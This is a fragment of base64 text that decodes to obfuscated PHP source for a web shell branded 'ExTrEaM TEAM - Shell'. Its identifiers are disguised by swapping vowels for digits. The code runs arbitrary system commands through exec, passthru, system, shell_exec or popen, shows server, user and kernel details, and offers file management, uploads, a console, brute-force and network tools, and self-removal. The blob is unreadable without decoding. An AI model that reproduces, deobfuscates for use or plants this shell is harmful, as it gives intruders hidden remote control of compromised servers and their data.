zLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgICAgICAgICBwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KICAgICAgICAgICAgICAgIHNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7ICAgICANCiAgICAgICAgICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQogICAgICAgICAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQogICAgICAgICAgICAgICAgICAgICAgICByNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KICAgICAgICAgICAgICAgIDRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7DQogICAgICAgIH0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiN1dXU7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOw0KICAgICAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQogICAgICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICAgICAkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KICAgICAgICAkNXhwbDRuayA9ICcnOw0KICAgICAgICA0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICQ1eHBsNG5rIC49IDNybDVuYzJkNSgnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSk7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAkNXhwbDRuayAuPSAzcmw1bmMyZDUoJGs1cm41bCAuICcgJyAuIHMzYnN0cigkcjVsNTFzNSwwLG8pKTsNCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KICAgICAgICAgICAgICAgICQzNGQgPSBAZzV0bXkzNGQoKTsNCiAgICAgICAgICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICAgICAgICAgJGdyMjNwID0gIj8iOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCiAgICAgICAgICAgICAgICAkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQogICAgICAgICAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107DQogICAgICAgICAgICAgICAgJDM0ZCA9ICQzNGRbJzM0ZCddOw0KICAgICAgICAgICAgICAgICRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCiAgICAgICAgICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107DQogICAgICAgIH0NCiANCiAgICAgICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICAgICAkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkbj1jMjNudCgkcDF0aCk7DQogICAgICAgIGYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQogICAgICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOw0KICAgICAgICAgICAgICAgIGYycigkaj0wOyAkajw9JDQ7ICRqKyspDQogICAgICAgICAgICAgICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQogICAgICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KICAgICAgICB9DQogDQogICAgICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICAgICAkMnB0X2NoMXJzNXRzID0gJyc7DQogICAgICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCiANCiAgICAgICAgJG0gPSAxcnIxeSgnJiNvaThlOyYjb2VpNzsmI29lYTk7JiNvZTY3OyYjb2V1NjsmI29lYTY7JiNvZTY5OyYjb2VvYTsmI29lNjA7JiNvZTYwOyc9PidTNWNJbmYyJywnJiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOyc9PidGNGw1c00xbicsJyYjb2k4ODsmI29lYTk7JiNvZTA5OyYjb2VpMDsmI29pOWk7JiNvZWE2Oyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTMWY1IG0yZDUnPT4nUzFmNU0yZDUnLCcmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7LSYjb2UwZTsmI29lYTk7JiNvZTB1OyYjb2U2OTsmI29lYTc7JiNvZW9vOyYjb2VhZTsnPT4nU3RyNG5nVDIybHMnLCdCcjN0NWYycmM1Jz0+J0JyM3Q1ZjJyYzUnLCcmI29ldTg7JiNvaTg4OyYjb2U2OTsmI29lbzk7JiNvZWE5OyYjb2k4ZTsmI29laWU7JiNvZW91OyYjb2U2ODsnPT4nTjV0dzJyaycpOw0KICAgICAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkNCiAgICAgICAgICAgICAgICAkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCiAgICAgICAgJG1bJyYjb2VhNjsmI29lNjA7JiNvZTBpOyYjb2VvbzsmI29lYW87JiNvZXU4OyYjb2VhOTsmI29pOTY7J10gPSAnUzVsZlI1bTJ2NSc7DQogICAgICAgICRtNW4zID0gJyc7DQogICAgICAgIGYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQogICAgICAgICAgICAgICAgJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCiANCiAgICAgICAgJGRyNHY1cyA9ICIiOw0KICAgICAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KICAgICAgICAgICAgICAgIGYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzOic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+PGYybnQgYzJsMnI9cjVkPjxiPi46IEV4VHI1QE0gVEVBTSAtIFNoNWxsIFY2LjA6LjxiPjwvZjJudD48LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+JiNvaThpOyYjb2VhNjsmI29ldTA7JiNvZWllOyYjb2U2Nzs6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPiYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTs8L2YybnQ+JzonPGYybnQgYzJsMnI9IzAwYmIwMD48Yj4mI29lNjY7JiNvZW9lOyYjb2UwdTs8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+WyBwaHA0bmYyIF08LzE+IDxzcDFuPiYjb2VhbzsmI29lb287JiNvZTA5Oy8mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7Ojwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiBCT0ZGVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJyAuIEJPRkZWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIEJPRkZQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48YzVudDVyPjw0bWcgc3JjPWh0dHA6Ly9zMW4yMmstZC5qM3BsMi5jMm0vbDJnMi5nNGY+PC9jNW50NXI+PGJyPjxkNHYgY2wxc3M9IjVuZCI+DQo8cCAxbDRnbj0iYzVudDVyIj48Yj6WlpUoLZUgIEMycHlyNGdodCBLMnJuIEV4dHI1QG0gW0FsbCByNGdodHMgcjVzNXJ2NWRdIJUtKZWWljwvYj48YnIgLz4NCig6IDwxIGhyNWY9Imh0dHA6Ly9zMW4yMmstZC5qM3BsMi5jMm0vNXh0cjUxbS10MjJsLnBocCI+RXhUcjUxbSAtIFQyMmw8LzE+IHwgPDEgaHI1Zj0iaHR0cDovL3d3dy5mMWM1YjIyay5jMm0vTDB2RVQ0NEt6Ij5GMWM1YjIyazwvMT4gfCA8MSBocjVmPSJodHRwOi8vd3d3LnkyM3QzYjUuYzJtLzNzNXIvRzJSbnp6IiA+JiNvaTl1OyYjb2VpZTsmI29lYTk7JiNvaTk2OyBZMjN0M2I1PC8xPiAgOikgPGJyIC8+DQpbW1sgPGI+JiNvaThpOyYjb2U2OTsmI29ldTA7JiNvZTBvOyYjb2VvdTsmI29lYTk7JiNvZWllOyYjb2VvdTsmI29lMDk7PC9iPiA6ICYjb2k4ZTsmI29lYTk7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZWk2OyYjb2k5dTsmI29laTc7JiNvZWE5OyYjb2U2ODsmI29laWU7JiNvZW91OyYjb2k5NjsmI29lNjk7JiNvZW9hOyYjb2U2NzsmI29lb287JiNvZTB1OyYjb2U2OTsmI29lb2E7JiNvZWFvOyYjb2VvbzsmI29pOTY7JiNvZTB1OyYjb2VpNzsmI29lYW87JiNvZTY4OyYjb2k4ODsmI29lNjk7JiNvZW9vOyYjb2U2MDsgJiNvZWkwOyYjb2U2NjsmI29lNjk7JiNvZXU5OyYjb2k4aTsmI29lNjk7JiNvZTY3OyYjb2V1ODsmI29lNjY7JiNvZWlpOyYjb2UwOTsmI29ldTk7JiNvZTA5OyYjb2VhbzsmI29lNjY7JiNvZTY5OyYjb2VvYTsmI29ldTg7JiNvZTZlOyYjb2UwNzsmI29lYTk7JiNvZW9vOyYjb2UwOTsmI29lMGk7JiNvZTY5OyYjb2VvdTsmI29lNjg7JiNvaThpOyYjb2UwdTsmI29laWE7JiNvZTY2OyYjb2k4ODsmI29lYTY7JiNvZW9lOyYjb2k4aTsmI29lYTc7JiNvZTA5OyYjb2VvODsmI29laWU7JiNvaTk2OyA8YnI+JiNvZXU4OyYjb2UwNzsmI29laWU7JiNvZW91OyYjb2k4aTsmI29lb287JiNvZTYwOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2VhNjsmI29lNjA7JiNvZXU4OyYjb2VhbzsmI29laWk7JiNvZTYwOyYjb2VpYTsmI29lMHU7JiNvZWk3OyYjb2UwNzsmI29lb287JiNvZWk3OyYjb2k5NjsgUzVydjVyICYjb2V1ODsmI29lYTY7JiNvZTY4Oy4uICgmI29pOGU7JiNvZWE5OyYjb2VpNjsmI29lYTc7JiNvZWk3OyYjb2VhZTsmI29lMDk7JiNvZXUwOyYjb2k4aTsmI29lMDk7JiNvZW9hOyYjb2k5dTsmI29lb3U7JiNvZWFvOyYjb2U2OTsmI29laTg7JiNvZWE5OyYjb2k4ODspIF1dXTxiciAvPg0KIiIgJiNvaThlOyYjb2VhOTsmI29lNjA7JiNvaTg4OyYjb2V1MDsmI29lMG87JiNvZTA3OyYjb2V1MDsmI29pOGk7JiNvZTA3OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2UwNzsmI29lbzc7JiNvZWllOyYjb2VpYTsmI29lYW87JiNvZWk3OyYjb2VhbzsmI29lb3U7JiNvaTk2OyYjb2VpNjsmI29pOWE7JiNvZWk2OyYjb2UwOTsmI29lMGk7JiNvZW9vOyYjb2VhbzsmI29ldTg7JiNvZTY5OyYjb2VvdTsmI29pOXU7JiNvZW91OyYjb2VhbzsgRXh0cjVAbSAmI29pOWE7JiNvaTk2OyYjb2V1ODsmI29pOWE7JiNvZTY5OyYjb2VvZTsmI29pOTc7IC4uICIiDQo8L3A+DQo8bDRuayByNWw9InNoMnJ0YzN0IDRjMm4iIHR5cDU9IjRtMWc1L2c0ZiIgaHI1Zj0iaHR0cDovLzNzNXJzLnNreW41dC5iNS9oNXJtMW5kdy9mbC90aC5nNGYiIC8+DQo8c3R5bDUgdHlwNT0idDV4dC9jc3MiPiANCjwhLS0gDQpiMmR5IHtjM3JzMnI6IGNyMnNzaDE0cn0gDQotLT4gDQo8L3N0eWw1PiANCjwvZDR2Pg0KCSAgIDxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPkNsNDVudCBJUDo8L3NwMW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jw0KICAgICAgIC4gJzx0MWJsNSBzdHlsNT0iYjJyZDVyLXQycDphcHggczJsNGQgI29vbzsiIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj4nIC4gJG01bjMgLiAnPC90cj48L3QxYmw1PjxkNHYgc3R5bDU9Im0xcmc0bjppIj4nOw0KfQ0KIA0KZjNuY3Q0Mm4gQk9GRkYyMnQ1cigpIHsNCiAgICAgICAgJDRzX3dyNHQxYmw1ID0gNHNfd3I0dDFibDUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmMm50IGMybDJyPScjYWlmZjAwJz4oJiNvZWE5OyYjb2UwOTsmI29ldTA7JiNvaTk3OyYjb2VvdTsmI29lMGk7JiNvZW9lOyYjb2VpNjsmI29lYTc7JiNvZWk3OyYjb2V1ODsmI29pOGU7JiNvZW83OyYjb2U2ODsmI29lMDk7JiNvZWlhOyYjb2UwdTsmI29laTc7KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPigmI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYTk7JiNvZTA5OyYjb2V1MDsmI29pOTc7JiNvZW91OyYjb2UwaTsmI29lb2U7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZXU4OyYjb2k4ZTsmI29lbzc7JiNvZTY4OyYjb2UwOTsgISk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCiAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj4mI29ldTg7JiNvZTY2OyYjb2VhNjsmI29lbzc7JiNvZWllOyYjb2U2ODsmI29lMDk7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Ozo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+JiNvZWE5OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDs6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPjx0cj4NCiAgICAgICAgICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPiYjb2VhZTsmI29lNjk7JiNvZWk3OyYjb2VvdTsmI29pOTY7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Ozo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDs6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPjx0cj4NCiAgICAgICAgICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPiYjb2k4ODsmI29lb2k7JiNvZWFlOyYjb2VvbzsmI29laWU7JiNvaTk2Ozo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgICAgICAgICA8c3Axbj4mI29lYTk7JiNvZW9vOyYjb2U2NjsmI29laTA7JiNvZWE3OyYjb2VhNjsmI29lMHU7JiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOzo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQogICAgICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQogDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCiANCmYzbmN0NDJuIEJPRkZFeCgkNG4pIHsNCiAgICAgICAgJDIzdCA9ICcnOw0KICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgICAgICAgICBANXg1YygkNG4sJDIzdCk7DQogICAgICAgICAgICAgICAgJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIEBwMXNzdGhyMygkNG4pOw0KICAgICAgICAgICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIEBzeXN0NW0oJDRuKTsNCiAgICAgICAgICAgICAgICAkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KICAgICAgICAgICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgICAgIH0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgICAgICAgICAkMjN0ID0gIiI7DQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQogICAgICAgICAgICAgICAgcGNsMnM1KCRmKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJDIzdDsNCn0NCmYzbmN0NDJuIEJPRkZWNDV3UzR6NSgkcykgew0KICAgICAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KICAgICAgICAgICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCiAgICAgICAgNWxzNTRmKCRzID49IDYwdThpN2UpDQogICAgICAgICAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCiAgICAgICAgNWxzNTRmKCRzID49IDYwYXUpDQogICAgICAgICAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIHI1dDNybiAkcyAuICcgQic7DQp9DQogDQpmM25jdDQybiBCT0ZGUDVybXMoJHApIHsNCiAgICAgICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw